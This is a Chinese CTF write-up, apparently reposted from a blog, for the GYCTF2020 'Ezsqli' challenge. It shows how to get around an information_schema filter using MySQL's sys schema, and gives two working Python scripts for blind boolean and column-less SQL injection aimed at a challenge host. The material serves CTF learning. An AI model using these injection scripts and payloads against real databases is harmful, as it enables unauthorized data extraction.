码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • [GYCTF2020]Ezsqli


    先试一下万能密码

    1' or 1=1#

    发现有过滤,fuzz看一下过滤了什么

    if,|,|| 没过滤,过滤了information_schema

    MySQL5.7新特性:
    由于performance_schema过于复杂,所以mysql在5.7版本中新增了sys schemma,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。

    information_schema.tables可以用sys.schema_table_statistics_with_buffer或sys.x$schema_table_statistics_with_buffer代替。

    脚本:

    1. import requests
    2. import time
    3. flag=""
    4. src = "qwertyuiopasdfghjklzxcvbnm|1234567890?{_+}-=;',./<>!@#$%^&*()\""
    5. url = "http://19fd2d53-da0b-4dc7-9a3d-cf3e98da329e.node4.buuoj.cn:81/index.php"
    6. for i in range(1,50):
    7. print(i)
    8. for j in src:
    9. pyload ={
    10. "id":"1^(ascii(substr((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()),%d,1))=%d)^1" % (i, ord(j))
    11. }
    12. time.sleep(0.5)
    13. res=requests.post(url=url, data=pyload)
    14. if 'Nu1L' in res.text:
    15. print(i)
    16. flag+=j
    17. print(flag)
    18. break
    19. #users233333333333333, f1ag_1s_h3r3_hhhhh

    这里 涉及到的是无列名注入

    比较方式就是按照位比较ASCII大小,大的就大,举个例子
    asd > abc
    asd < flag
    asd > absadasda
    只要出现了大,那就是大
    所以下面就是按照ASCII顺序去比较字符串,最后要减1是因为我们拿的是大于嘛,减1就是等于了

    1. import requests
    2. import time
    3. url='http://19fd2d53-da0b-4dc7-9a3d-cf3e98da329e.node4.buuoj.cn:81/index.php'
    4. flag=''
    5. for j in range(1,50):
    6. for i in range(32,128):
    7. hexchar=flag+chr(i)
    8. payload='-1||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
    9. datas={'id':payload}
    10. print(payload)
    11. time.sleep(0.5)
    12. re=requests.post(url=url,data=datas)
    13. if 'Nu1L' in re.text:
    14. flag+=chr(i-1)
    15. print(flag)
    16. break
    17. print(flag.lower())

    得到flag的字母是大写的,改成小写就行了

  • 相关阅读:
    Grafana-web使用说明
    打字通小游戏制作教程:用HTML5和JavaScript提升打字速度
    JavaScript Continue语句
    Redis——》数据类型
    代码规范和技巧
    数据解读!理想L9冲刺「月销过万」,从BBA手中抢份额
    Pycharm开发环境下创建python运行的虚拟环境(自动执行安装依赖包)
    【面试经典150 | 数组】除自身以外数组的乘积
    Python高级语法-类访问控制
    USB-PD快充和QC快充的区别
  • 原文地址:https://blog.csdn.net/Yb_140/article/details/128060507
  • 最新文章
  • 沪漂五周年了:我越来越迷茫了
    Agentic Skill Routing 实战:别再把所有 Skill 塞进 AI Agent 上下文
    MySQL-Seconds_behind_master的精度误差
    [MAF预定义ChatClient中间件-03]CachingChatClient——利用缓存省钱省时间
    AI的至暗历史:从万众期待到被政府撤资,AI的两次死亡徘徊
    Agent OS :五种驯服不确定性的范式
    PortSwigger SQL注入LAB11
    数据库即时编译JIT
    [Begin]AI Learn Data Day 0
    深度学习进阶(二十七)现代 LLM 的核心架构设计其二:SwiGLU
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
小工具 小游戏
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1

京公网安备 11010502049817号